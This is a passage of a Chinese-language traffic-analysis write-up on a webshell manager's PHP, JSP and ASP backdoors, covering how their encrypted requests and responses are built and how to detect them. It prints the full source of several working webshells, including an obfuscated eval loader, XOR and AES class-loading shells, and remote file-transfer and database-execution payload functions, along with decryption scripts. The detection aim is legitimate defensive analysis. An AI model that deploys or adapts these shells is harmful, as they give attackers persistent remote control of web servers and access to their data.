function oci_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
$chs = $charset ? $charset : "utf8";
$mod = 0;
$H = @oci_connect($username, $password, $host, $chs, $mod);
if (!$H) {
$errObj=@oci_error();
return $errObj["message"];
} else {
$q = @oci_parse($H, $sql);
if (@oci_execute($q)) {
$n = oci_num_fields($q);
if ($n == 0) {
return "Query OK, ".@oci_num_rows($q)." rows affected";
} else {
$data = "ok\n";
for ($i = 1; $i <= $n; $i++) {
$data.= base64_encode(oci_field_name($q, $i))."\t";
}
$data.= "\n";
while ($row = @oci_fetch_array($q, OCI_ASSOC + OCI_RETURN_NULLS)) {
foreach($row as $item) {
$data.= base64_encode($item !== null ? base64_encode($item) : ""). "\t";
}
$data.= "\n";
}
return $data;
}
} else {
$e = @oci_error($q);
if ($e) {
return "ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}";
} else {
return "false";
}
}
}
}
function ora_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
$H = @ora_plogon("{$username}@{$host}", "{$password}");
if (!$H) {
return "Login Failed!";
} else {
$T = @ora_open($H);
@ora_commitoff($H);
$q = @ora_parse($T, "{$sql}");
$R = ora_exec($T);
if ($R) {
$n = ora_numcols($T);
$data="ok\n";
for ($i = 0; $i < $n; $i++) {
$data.=base64_encode(Ora_ColumnName($T, $i))."\t";
}
$data.="\n";
while (ora_fetch($T)) {
for ($i = 0; $i < $n; $i++) {
$data.=base64_encode(trim(ora_getcolumn($T, $i)))."\t";
}
$data.="\n";
}
return $data;
} else {
return "false";
}
}
}
function sqlite_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
$dbh=new SQLite3($host);
if(!$dbh){
return "ERROR://CONNECT ERROR".SQLite3::lastErrorMsg();
}else{
$stmt=$dbh->prepare($sql);
if(!$stmt){
return "ERROR://".$dbh->lastErrorMsg();
} else {
$result=$stmt->execute();
if(!$result){
return $dbh->lastErrorMsg();
}else{
$bool=True;
$data="ok\n";
while($res=$result->fetchArray(SQLITE3_ASSOC)){
if($bool){
foreach($res as $key=>$value){
$data.=base64_encode($key)."\t";
}
$bool=False;
$data.="\n";
}
foreach($res as $key=>$value){
$data.=base64_encode($value!==NULL?$value:"NULL")."\t";
}
$data.="\n";
}
if($bool){
if(!$result->numColumns()){
return "Query OK, ".$dbh->changes()." rows affected";
}else{
return "ERROR://Table is empty.";
}
}else{
return $data;
}
}
}
$dbh->close();
}
}
function pdoExec($databaseType,$host,$port,$username,$password,$execType,$currentDb,$sql){
$conn=null;
if ($databaseType==="oracle"){
$databaseType="orcl";
}
if (strpos($host,"=")!==false){
$conn = new PDO($host, $username, $password);
}else if (!empty($currentDb)){
$conn = new PDO("{$databaseType}:host=$host;port={$port};dbname={$currentDb}", $username, $password);
}else{
$conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);
}
$conn->setAttribute(3, 0);
if ($execType=="update"){
$affectRows=$conn->exec($sql);
if ($affectRows!==false){
return "Query OK, ".$conn->exec($sql)." rows affected";
}else{
return "Err->\n".implode(',',$conn->errorInfo());
}
}else{
$data="ok\n";
$stm=$conn->prepare($sql);
if ($stm->execute()){
$row=$stm->fetch(2);
$_row="\n";
foreach (array_keys($row) as $key){
$data.=base64_encode($key)."\t";
$_row.=base64_encode($row[$key])."\t";
}
$data.=$_row."\n";
while ($row=$stm->fetch(2)){
foreach (array_keys($row) as $key){
$data.=base64_encode($row[$key])."\t";
}
$data.="\n";
}
return $data;
}else{
return "Err->\n".implode(',',$stm->errorInfo());
}
}
}
if ($dbType=="mysql"&&(class_exists("mysqli")||function_existsEx("mysql_connect")||function_existsEx("mysqli_connect"))){
if (class_exists("mysqli")){
return mysqli_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}elseif (function_existsEx("mysql_connect")){
return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}else if (function_existsEx("mysqli_connect")){
return mysqliEx_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}
}elseif ($dbType=="postgresql"&&function_existsEx("pg_connect")){
if (function_existsEx("pg_connect")){
return pg_execEx($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}
}elseif ($dbType=="sqlserver"&&(function_existsEx("sqlsrv_connect")||function_existsEx("mssql_connect"))){
if (function_existsEx("sqlsrv_connect")){
return sqlsrv_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
}elseif (function_existsEx("mssql_connect")){
return mssql_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
}
}elseif ($dbType=="oracle"&&(function_existsEx("oci_connect")||function_existsEx("ora_plogon"))){
if (function_existsEx("oci_connect")){
return oci_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}else if (function_existsEx("ora_plogon")){
return oci_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}
}elseif ($dbType=="sqlite"&&class_exists("SQLite3")){
return sqlite_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}

if (extension_loaded("pdo")){
return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
}else{
return "no extension";
}

}
function base64Encode($data){
return base64_encode($data);
}
function test(){
return "ok";
}
function get($key){
global $parameters;
if (isset($parameters[$key])){
return $parameters[$key];
}else{
return null;
}
}
function getAllParameters(){
global $parameters;
return $parameters;
}
function includeCode(){
$classCode=get("binCode");
$codeName=get("codeName");
$_SES=&getSession();
$_SES[$codeName]=$classCode;
return "ok";
}
function base64Decode($string){
return base64_decode($string);
}
function convertFilePermissions($fileAttr){
$mod=0;
if (strpos($fileAttr,'R')!==false){
$mod=$mod+0444;
}
if (strpos($fileAttr,'W')!==false){
$mod=$mod+0222;
}
if (strpos($fileAttr,'X')!==false){
$mod=$mod+0111;
}
return $mod;
}
function g_close(){
@session_start();
$_SES=&getSession();
$_SES=null;
if (@session_destroy()){
return "ok";
}else{
return "fail!";
}
}

function bigFileDownload(){
$mode=get("mode");
$fileName=get("fileName");
$readByteNum=get("readByteNum");
$position=get("position");
if ($mode=="fileSize"){
return @filesize($fileName)."";
}elseif ($mode=="read"){
if (function_existsEx("fopen")&&function_existsEx("fread")&&function_existsEx("fseek")){
$handle=fopen($fileName,"rb");
if ($handle!==false){
@fseek($handle,$position);
$data=fread($handle,$readByteNum);
@fclose($handle);
if ($data!==false){
return $data;
}else{
return "cannot read file";
}
}else{
return "cannot open file";
}
}else if (function_existsEx("file_get_contents")){
return file_get_contents($fileName,false,null,$position,$readByteNum);
}else{
return "no function";
}

}else{
return "no mode";
}
}

function bigFileUpload(){
$fileName=get("fileName");
$fileContents=get("fileContents");
$position=get("position");
if(function_existsEx("fopen")&&function_existsEx("fwrite")&&function_existsEx("fseek")){
$handle=fopen($fileName,"ab");
if ($handle!==false){
fseek($handle,$position);
$len=fwrite($handle,$fileContents);
@fclose($handle);
if ($len!==false){
return "ok";
}else{
return "cannot write file";
}
}else{
return "cannot open file";
}
}else if (function_existsEx("file_put_contents")){
if (file_put_contents($fileName,$fileContents,FILE_APPEND)!==false){
return "ok";
}else{
return "writer fail";
}
}else{
return "no function";
}
}
function canCallGzipEncode(){
if (function_existsEx("gzencode")){
return "1";
}else{
return "0";
}
}
function canCallGzipDecode(){
if (function_existsEx("gzdecode")){
return "1";
}else{
return "0";
}
}
function bytesToInteger($bytes, $position) {
$val = 0;
$val = $bytes[$position + 3] & 0xff;
$val <<= 8;
$val |= $bytes[$position + 2] & 0xff;
$val <<= 8;
$val |= $bytes[$position + 1] & 0xff;
$val <<= 8;
$val |= $bytes[$position] & 0xff;
return $val;
}
function isGzipStream($bin){
if (strlen($bin)>=2){
$bin=substr($bin,0,2);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
switch ($typeCode) {
case 31139:
return true;
default:
return false;
}
}else{
return false;
}
}
function getBytes($string) {
$bytes = array();
for($i = 0; $i < strlen($string); $i++){
array_push($bytes,ord($string[$i]));
}
return $bytes;
}

都是通过eval(base64_decode(strrev(urldecode(''))))的方式执行的

后续两次请求会带cookie,并且末尾有分号;

这两个请求的Content-Lengt相差很小,其请求payload前段是一模一样的

xor解密请求的脚本php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function encode($D, $K){
for($i=0; $i<strlen($D); $i++) {
$c = $K[($i+1) & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}

$key = 'fae0b27c451c7288';
$cipher = base64_decode('DABECl1TLVVYVGEzMjg4EgQWRA==');
$plain = encode($cipher, $key);

echo "Decrypted:\n";
echo $plain;
?>

通过解密可以知道后两次请求的实际payload是内置的test方法、g_close方法

1
2
DABECl1TLVVYVGEzMjg4EgQWRA==  ->  xor解密  methodNametest
DABECl1TLVVYVGEwMjg4AT4GXA1BUg== -> xor解密 methodNameg_close

并且后面两次请求的返回是一模一样的长度为64(固定),分为3部分md5-16位+base64+md5-16位

1
9220e17b065d4b63fu44YjI3YzQ1O6j4NDh/u70cMmIyNw==ab67a675c9352e09

分析后两个请求的payload,其实就是下面PHP_XOR_BASE64 生成的shell,只不过重设了passkey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cCO4IzNjFTN0M2NyIGMlFmZn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciN2YzJ9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));&666=DABECl1TLVVYVGEzMjg4EgQWRA==
//复原后

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='666';
$payloadName='payload';
$key='fae0b27c451c7288';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

会对响应做一个拼接,将md5(key值+key值md5前16位)中间分开将回显放到中间

1
2
MD5(666)=fae0b27c451c728867a567e8c1bb4e53
MD(666fae0b27c451c7288)=9220e17b065d4b63ab67a675c9352e09

这里的key其实是连接webshell时设置的那个key值(这里是666,可自定义。默认是key

首次连接webshell也会发送3个请求,前两个请求和测试连接是一样的

后面第三个请求执行的是getBasicsInfo方法的回显是基本信息

回显是执行@run($data)的结果,而run是在第一个请求中定义的,其返回值经过gzencode()gzip压缩,解密时在解密xor请求的脚本加个gzdecode即可

gzip压缩没解压前,回显开头两个字节必定是1f8b这是一个强特征

测试请求返回的是ok

获取基本信息的返回

PHP_XOR_BASE64 生成的shell:

使用xor加密,跟冰蝎v3.x+的一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

测试连接会发送3个请求,第一个请求会很长,后面两个请求会短得多

并且第一个请求的响应是空body,并且header不带cookie

大部分逻辑和特征与前一个shell一样,不同的是

后续请求只需要一个pass参数了,不需要key参数,因为xor逻辑已经作为webshell上传了,所以后面的请求会比前一个shell短很多。不需要每次通过pass参数来eval执行xor逻辑、key传递要执行的方法,直接用pass参数传要执行的方法即可

执行方法跟前面的shell一样,并且后面两次请求的返回是一模一样的长度为64(固定),分为3部分md5-16位+base64+md5-16位

PHP_XOR_RAW 生成的shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}


所有逻辑与PHP_XOR_BASE64一样,唯一区别是body是raw而不是base64

1
Content-Type: application/octet-stream

jsp/jspx

JAVA_AES_BASE64加密器
1
2
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

测试连接和首次连接的第二个请求payload和响应是一模一样的,和php的一样也是调用内置方法

固定会发送3个请求,第一个很长且回显为空,后两个很短。并且测试连接时后两个请求的响应是一模一样的(解密后为OK

后两个请求带cookie,末尾有分号

响应也都是md5-16位+base64+md5-16位

payload都是序列化数据

pass改为pas,key改为666

1
2
<%! String xc="fae0b27c451c7288"; String pass="pas"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

可以发现第一次和第二次请求的响应都是固定的长度。请求长度不固定(因为参数pass是变量)

1
2
3
frame.len == 265   //第一个响应
frame.len == 286 //第二个响应
Content-Length: 76 //第二个响应

加密为aes-ecb,密钥为key的值的md5前16位,最后经过gzip压缩

JAVA_AES_RAW加密器
1
2
3
<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>

逻辑基本跟JAVA_AES_BASE64一致,只是编码为raw

1
2
3
4
Content-Type: application/octet-stream
frame.len == 265 //第一个响应
frame.len == 223 //第二个响应
Content-Length: 32 //第二个响应

asp

跟php的情况差不多

ASP_EVAL_BASE64
1
<%eval request("pass")%>

实际上第一个请求就是通过eval执行ASP_XOR_BASE64的webshell,xor加密

第一个请求不带cookie且无回显,后两个带cookie且结尾是;

测试连接的第一个请求的响应frame.len == 286后两个请求的响应长度固定Content-Length: 16、frame.len == 236,且直接base64解码为ok

首次连接的第一个请求的响应frame.len == 286,第二个请求的响应Content-Length: 16、frame.len == 236,且直接base64解码为ok

ASP_XOR_BASE64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<%
Set bypassDictionary = Server.CreateObject("Scripting.Dictionary")

Function Base64Decode(ByVal vCode)
Dim oXML, oNode
Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = vCode
Base64Decode = oNode.nodeTypedValue
Set oNode = Nothing
Set oXML = Nothing
End Function

Function decryption(content,isBin)
dim size,i,result,keySize
keySize = len(key)
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.CharSet = "iso-8859-1"
BinaryStream.Type = 2
BinaryStream.Open
if IsArray(content) then
size=UBound(content)+1
For i=1 To size
BinaryStream.WriteText chrw(ascb(midb(content,i,1)) Xor Asc(Mid(key,(i mod keySize)+1,1)))
Next
end if
BinaryStream.Position = 0
if isBin then
BinaryStream.Type = 1
decryption=BinaryStream.Read()
else
decryption=BinaryStream.ReadText()
end if

End Function
key="3c6e0b8a9c15224a"
content=request.Form("pass")
if not IsEmpty(content) then

if IsEmpty(Session("payload")) then
content=decryption(Base64Decode(content),false)
Session("payload")=content
response.End
else
content=decryption(Base64Decode(content),true)
bypassDictionary.Add "payload",Session("payload")
Execute(bypassDictionary("payload"))
result=run(content)
response.Write("11cd6a")
if not IsEmpty(result) then
response.Write Base64Encode(decryption(result,true))
end if
response.Write("ac826a")
end if
end if
%>

回显拼接的是

1
2
MD5(pass3c6e0b8a9c15224a) = 11cd6a87589841636c37ac826a2a04bc
前6位字符和倒数12字符的前6位字符

跟前面的asp基本一样

1
2
第一个请求响应frame.len == 286
第二个请求响应Content-Length: 16、frame.len == 236

解密python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64

# 固定密钥(冰蝎默认)
key = "3c6e0b8a9c15224a"

# 替换为你的 Base64 加密 payload(来自 POST body)
b64_payload = "DF0="

# 1. Base64 解码
cipher_bytes = base64.b64decode(b64_payload)

# 2. XOR 解密(注意:索引是 (i+1) & 15)
plain = bytearray()
for i in range(len(cipher_bytes)):
k = ord(key[(i + 1) & 15]) # 关键:i+1
plain.append(cipher_bytes[i] ^ k)

# 3. 输出结果
result = plain.decode('utf-8', errors='replace')
print(result)
#ok
ASP_BASE64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<%
Set bypassDictionary = Server.CreateObject("Scripting.Dictionary")

Function Base64Decode(ByVal vCode)
Dim oXML, oNode
Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = vCode
Base64Decode = oNode.nodeTypedValue
Set oNode = Nothing
Set oXML = Nothing
End Function

Function decryption(content,isBin)
dim size,i,result,keySize
keySize = len(key)
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.CharSet = "iso-8859-1"
BinaryStream.Type = 2
BinaryStream.Open
if IsArray(content) then
size=UBound(content)+1
For i=1 To size
BinaryStream.WriteText chrw(ascb(midb(content,i,1)))
Next
end if
BinaryStream.Position = 0
if isBin then
BinaryStream.Type = 1
decryption=BinaryStream.Read()
else
decryption=BinaryStream.ReadText()
end if

End Function
content=request.Form("pass")
if not IsEmpty(content) then

if IsEmpty(Session("payload")) then
content=decryption(Base64Decode(content),false)
Session("payload")=content
response.End
else
content=Base64Decode(content)
bypassDictionary.Add "payload",Session("payload")
Execute(bypassDictionary("payload"))
result=run(content)
response.Write("11cd6a")
if not IsEmpty(result) then
response.Write Base64Encode(decryption(result,true))
end if
response.Write("ac826a")
end if
end if
%>

与ASP_XOR_BASE64基本一致,只是不xor加密通信了

1
2
第一个请求响应frame.len == 286
第二个请求响应Content-Length: 16、frame.len == 236
ASP_XOR_RAW
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<%
Set bypassDictionary = Server.CreateObject("Scripting.Dictionary")

Function decryption(content,isBin)
dim size,i,result,keySize
keySize = len(key)
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.CharSet = "iso-8859-1"
BinaryStream.Type = 2
BinaryStream.Open
if IsArray(content) then
size=UBound(content)+1
For i=1 To size
BinaryStream.WriteText chrw(ascb(midb(content,i,1)) Xor Asc(Mid(key,(i mod keySize)+1,1)))
Next
end if
BinaryStream.Position = 0
if isBin then
BinaryStream.Type = 1
decryption=BinaryStream.Read()
else
decryption=BinaryStream.ReadText()
end if

End Function
key="3c6e0b8a9c15224a"
content=Request.BinaryRead(Request.TotalBytes)
if not IsEmpty(content) then

if IsEmpty(Session("payload")) then
content=decryption(content,false)
Session("payload")=content
response.End
else
content=decryption(content,true)
bypassDictionary.Add "payload",Session("payload")
Execute(bypassDictionary("payload"))
result=run(content)
if not IsEmpty(result) then
response.BinaryWrite decryption(result,true)
end if
end if
end if
%>

跟base64一样,只是这里用raw

1
2
3
4
Content-Type: application/octet-stream
Cache-Control: private //响应
第一个请求响应frame.len == 286
第二个请求响应Content-Length: 2、frame.len == 221
ASP_RAW
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<%
Set bypassDictionary = Server.CreateObject("Scripting.Dictionary")

Function decryption(content,isBin)
dim size,i,result,keySize
keySize = len(key)
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.CharSet = "iso-8859-1"
BinaryStream.Type = 2
BinaryStream.Open
if IsArray(content) then
size=UBound(content)+1
For i=1 To size
BinaryStream.WriteText chrw(ascb(midb(content,i,1)))
Next
end if
BinaryStream.Position = 0
if isBin then
BinaryStream.Type = 1
decryption=BinaryStream.Read()
else
decryption=BinaryStream.ReadText()
end if

End Function
content = request.BinaryRead(request.TotalBytes)
if len(request.Cookies.Item("pass"))>0 then
if IsEmpty(Session("payload")) then
content=decryption(content,false)
Session("payload")=content
response.End
else
bypassDictionary.Add "payload",Session("payload")
Execute(bypassDictionary("payload"))
result=run(content)
if not IsEmpty(result) then
response.BinaryWrite result
end if
end if
end if
%>

跟ASP_XOR_RAW一模一样,只是不用xor加密,直接明文通信

1
2
3
4
Content-Type: application/octet-stream
Cache-Control: private //响应
第一个请求响应frame.len == 286
第二个请求响应Content-Length: 2、frame.len == 221

专属特点Cookie: pass=xxx;必须cookie有pass

aspx/asmx/ashx

CSHAP_AES_BASE64
1
2
3
